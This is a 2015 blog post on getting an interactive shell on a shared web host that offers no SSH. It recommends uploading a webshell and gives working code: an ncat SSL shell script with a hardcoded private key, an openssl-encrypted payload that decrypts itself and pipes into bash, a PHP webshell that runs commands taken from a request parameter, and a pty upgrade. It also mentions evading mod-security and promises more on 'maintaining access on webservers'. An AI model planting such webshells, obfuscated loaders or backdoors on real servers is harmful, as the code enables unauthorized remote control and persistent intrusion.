Wednesday, December 30, 2015

Getting a Proper Shell in a Shared Hosting Environemnt

Ah, the internet.. such a wonderful place. At least, it's great until you are restricted to using a sucky, insecure protocol like ftp to manage your website. I don't understand why hosting providers don't give their users ssh access by default. Ssh is safer for you, and safer for them. Ftp is an ancient, clunky, slow, (and did I mention insecure) protocol. Of course, if you had purchased a VPS instead of a shared hosting service, you wouldn't be in this predicament. Alas, I've come to learn that sometimes you do not have that option (for instance, when you have to use a certain server for school). Here's a few ways to secure access to your server, get a proper shell, and do away with ftp for good.

The first thing you need to do is to figure out what php functions your hosting provider has not disabled. If you're as lucky as I was, than no functions will be disabled. If you're unlucky, php will be running in safe-mode, and in that case you may have to compile your own php extensions to replicate functions like shell_exec. An easy way to figure this out is to upload a webshell to the server, and see if it runs. I really like b374k, but there are many to choose from. Avoid any of the shells from c99shellphp, because as pretty as they are, they are also backdoored backdoor shells... all of them.

If you don't like b374k, or want to try something else, just search around github and you'll find something that suits you. After you upload the shell and change the password, try running a command. A simple 'ls' should tell you whether or not this is going to work.

Next, you need to enumerate the system a bit, and discover what programs the system has for you to use. The server I did this on generously gave us access to git, nc, ncat, perl, python, and a bunch of other cool stuff, including gcc! That is rare these days indeed, so please don't abuse these systems, because the admins will start locking things down if you do.

If you made it this far, you are in good shape. Every production linux box will have openssl on it, so we can utilize that to write a program that will emulate ssh access. If you have ncat, ruby, perl, php, or python, this will be a breeze. You are nearly guaranteed to have one of those. Hell, even openssl itself can be used as an encrypted reverse shell. While a webshell is nice, a proper shell is much better. While a bind shell would be ideal, it's probably not going to be possible to run one because the server is likely behind a firewall. Thus, we must use a reverse shell instead.

If you have ncat on the system, you can easily write a wrapper shell script, containing your self generated certificates and keys. Although nowhere near as secure as ssh, an ncat bind shell will give you a reasonable degree of security. It will certaintly be more secure than ftp ever could be.

First, generate your certficates.

FILENAME=server
 openssl genrsa -out $FILENAME.key 1024
 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
  cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
 chmod 600 $FILENAME.key
 chmod 600 $FILENAME.crt
 FILENAME=client
 openssl genrsa -out $FILENAME.key 1024
 openssl req -new -key $FILENAME.key -x509 -days 3653 -out $FILENAME.crt
  cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
 chmod 600 $FILENAME.key
 chmod 600 $FILENAME.crt
Next, write your wrapper script. Replace the certs and keys with your own, as well as the ip address of your server, and the port you will be listening on.


#!/bin/sh
dir=/tmp/
crt=/tmp//crt.crt
key=/tmp/key.key
host=127.0.0.1
port=443

genKeys(){
if [[ ! -f /tmp/$crt ]];then
rm $crt
fi


if [[ ! -f /tmp/$key]];then
rm $key
fi

 cat << _EOF_ > $crt
-----BEGIN CERTIFICATE-----
MIICWDCCAcGgAwIBAgIJAPnFd5At9X/DMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV
BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX
aWRnaXRzIFB0eSBMdGQwHhcNMTUxMjMxMDUwODA4WhcNMjUxMjMxMDUwODA4WjBF
MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50
ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKB
gQDjVl4FFYH5vLdbc3ilMGO71ytD0cX8czZxTAcP1OTpgaylYL+5I5VU2/hNiS3k
paNkc5p6oX9OzL2dF7zMocV0asdPpya8EfvJPfHdHp+0aQwzcYs+TSW/gSDxEZrK
sO2n/hdRKIed2tokPcZfSprTlkqFQox89UvkVQyO60yq+QIDAQABo1AwTjAdBgNV
HQ4EFgQUnNEBQxysOJ9fHlxtsFBH+tb2fFQwHwYDVR0jBBgwFoAUnNEBQxysOJ9f
HlxtsFBH+tb2fFQwDAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOBgQCtiwae
ZMQ2B05nl9JDnuu6Ydjr/lDBU14Unb4rM+24Z+OWm35I9XvZDwiF+muSX4r0w9in
KrQnzDrpcRHOMZGMTuj1OAe7VaTfhddzgACW4nyfmxB5vWENoz8RPIZmLc4jKj1a
p9MS7kGvmWar41rWDEqjwegXw9Ltyl6ZxplAew==
-----END CERTIFICATE-----
_EOF_

cat << _EOF_ > $key
-----BEGIN RSA PRIVATE KEY-----
MIICXgIBAAKBgQDjVl4FFYH5vLdbc3ilMGO71ytD0cX8czZxTAcP1OTpgaylYL+5
I5VU2/hNiS3kpaNkc5p6oX9OzL2dF7zMocV0asdPpya8EfvJPfHdHp+0aQwzcYs+
TSW/gSDxEZrKsO2n/hdRKIed2tokPcZfSprTlkqFQox89UvkVQyO60yq+QIDAQAB
AoGBAIW4ZqNM7GAOjje/qyZXWULDJNLGkFOXHV31H25DhsaHHRtF1mA7OvpoTRym
ZRVKDNroWORrHCwoqBvAO7COM0rUJrTWDYrvEzmb1b6gVevfP/Y7kAzT/sUnF7O1
LlgNbTT0mJwA8ao3Ku8zQSFuqD4PAnGUPXF8nrZBMV3CeXeBAkEA9ugmZLAtUgI1
/ICNLsWNXueVSx7t1oUG2YllZdPw3T5/if/r518pb6d39hMr8PEY4h4J1sJxeM87
lt6sb+B+yQJBAOu1tyTeZsSAwLgFKYMcRkiuda8BLJGsFuxR0UZo5NbKWZc+myX8
VOHZkdCZlQNA+JT/f9iS2qsqHRXeQQXj8rECQQC4v3Cq+qCOspTOwSnjC3MCxmoR
ca0pTRSZBZPXo8Sg57jq+5H66FvK7hZ3DFVezih+WVenWIsriHTgKPICLIrxAkEA
2ergbZeoT1fx1LABFxQW7q9MYgWl3O/LKaTi5EOp/eKKPchFzDKjj0KFCuRS3fU9
XRNycRokTEbdKRCX8QgzoQJAYIA0n1g29cn/CAlyR6wHVcvam4v3L9HkyK7o5Ib1
ZeBSahWDqeJ7fXcVDpTeA5khIESBRZsGDt983PKAFOjcKQ==
-----END RSA PRIVATE KEY-----
_EOF_

chmod 600 $crt
chmod 600 $key
}
start(){
ncat --listen --ssl --ssl-cert
$crt --ssl-key $key $host $port -e /bin/sh &
}

genKeys > /dev/null 2>&1
start > /dev/null 2>&1 &


Save that is 'connect.sh' or whatever. Next, you could either upload that as is, or we could obfuscate it a little bit using openssl. Either way, if someone has access to the web host server, they will be able to read your keys. But, it's not too much trouble to add a layer of protection, albeit a thin layer, using openssl:

cat connect.sh | openssl enc -aes-128-cbc -a -salt -pass \ pass:ArxMogdqCye9iPn5RUj7UGmqs8O8i5Xw > connect-enc.sh

This will at least possibly stop a script kiddie from posting your keys in pastebin for a real hackers to screw you over with. What you're left with at this point is a giant block of apparently random alpha-numeric gibberish. To get the script to execute, you'll need to modify connect-enc.sh so that it automatically decrypts itself upon execution: (note I have trunicated a bunch of the ssl for the sake of format):

#!/bin/bash
echo -e "
U2FsdGVkX1+Ymj9gy0X4axiC1XIPP5nf4q/Y9esbU7GP1O+tGO/qCpsgW/hUFQxQ
d9GaOMk4MGh8lITmWMD1vV8SazdItGdr4/zpTSeSJnOYu0c3RDNDkQQkB+9uGl+7
 

c3RDNDkQQkB+9uGl+7----snip-----" | openssl enc -d -aes-128-cbc -base64 -a -salt -pass pass:'ArxMogdqCye9iPn5RUj7UGmqs8O8i5Xw' | bash

The import part here is the piping of the decrypted code, which is being passed from echo, to openssl, and finally to bash:

echo -e "$long_ass_key" | openssl enc -d -aes-128-cbc -base64 -a -salt -pass pass:'ArxMogdqCye9iPn5RUj7UGmqs8O8i5Xw' | bash'

Now upload that to your server, and create a php script to execute it for you. This way you can just do:

sleep 3 && curl server.com/execshell.php &
ncat -v --listen --ssl --ssl-cert server.pem --ssl-key server.pem 127.0.0.1 -p 4444
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Listening on 127.0.0.1:4444
Ncat: Connection from 127.0.0.1.
Ncat: Connection from 127.0.0.1:44762.
ls 

handle.sh morefiles evenmorefiles.txt

Great, it's working! Now, let's get a proper shell... i.e, a pty:

python -c 'import pty;pty.spawn("/bin/bash")'
me@mynixbox:~/Development/shells$



Perfect! We've got a pty bash shell, encrypted with ssl! This is great, but now we need that php script to start the connection for you, when you need it. This way you don't have to either have to leave the shell open all of the time, or log back in to your webshell every time you need to  initiate the connection. We could try to do something like this to initiate your connect back,

<?php
if(isset($_REQUEST['cmd'])){
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

 which would be convenient, but chances are something like mod-security will prevent a script like that from working. There is likely a more elaborate way to get that functionality (just $ curl server/shell.php?cmd=whatever), I am not a php guru, so i don't know what it is. If you do, post a comment!

Perhaps it's better for everyone if we just define the one command that we need to run anyway. Create this file and upload it to the same directory as the encrypted shell script:

<?php
shell_exec
('./connectback.sh') 

?>

Now you're all set to initate the shell whenever you need to. Simply set up the handler and curl the php file as shown above. If you don't have ncat, than you probably have python, which is acutally an awesome platform for cooking up shells. Check out my python reverse ssl shell I wrote recently on my github. The process for using something like that is exactly the same. Next time I will go more in depth and highlight some more ways of maintaining access on webservers. That's all for now. Enjoy.